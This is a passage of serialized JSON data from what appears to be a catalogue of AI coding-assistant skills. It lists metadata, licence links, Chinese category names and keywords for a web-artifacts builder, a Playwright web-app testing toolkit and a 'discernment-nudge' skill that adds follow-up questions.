guard","erp","effect","read-only","db","just","tool","calls","only","MCP","access","database","query",{"skillNo":182,"name":183,"nameZh":6,"description":184,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":185,"licenseFileUrl":186,"sourceHtmlUrl":187,"categories":188,"keywords":192,"publishedAt":45},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[189],{"categoryNo":190,"categoryName":191,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,107,215],"artifacts builder","web","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":217,"name":218,"nameZh":6,"description":219,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":185,"licenseFileUrl":220,"sourceHtmlUrl":221,"categories":222,"keywords":227,"publishedAt":45},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[223,226],{"categoryNo":224,"categoryName":225,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":190,"categoryName":191,"taxonomyType":21,"taxonomyTypeDesc":22},[228,28,229,230,231,194,232,203,204,233,234,235,236,107,237,112,238],"webapp testing","webapp","browser","playwright","applications","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":240,"name":241,"nameZh":6,"description":242,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":185,"licenseFileUrl":243,"sourceHtmlUrl":244,"categories":245,"keywords":253,"publishedAt":45},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[246,249,250],{"categoryNo":247,"categoryName":248,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":251,"categoryName":252,"taxonomyType":161,"taxonomyTypeDesc":162},"01JBSEEDCAT000000000000036","内容创作者",[254,255,256,257,258,259,260,261,196,262,206,140,263,264,265,266,267,176,268,27,269,270,271,272,273,118,274],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]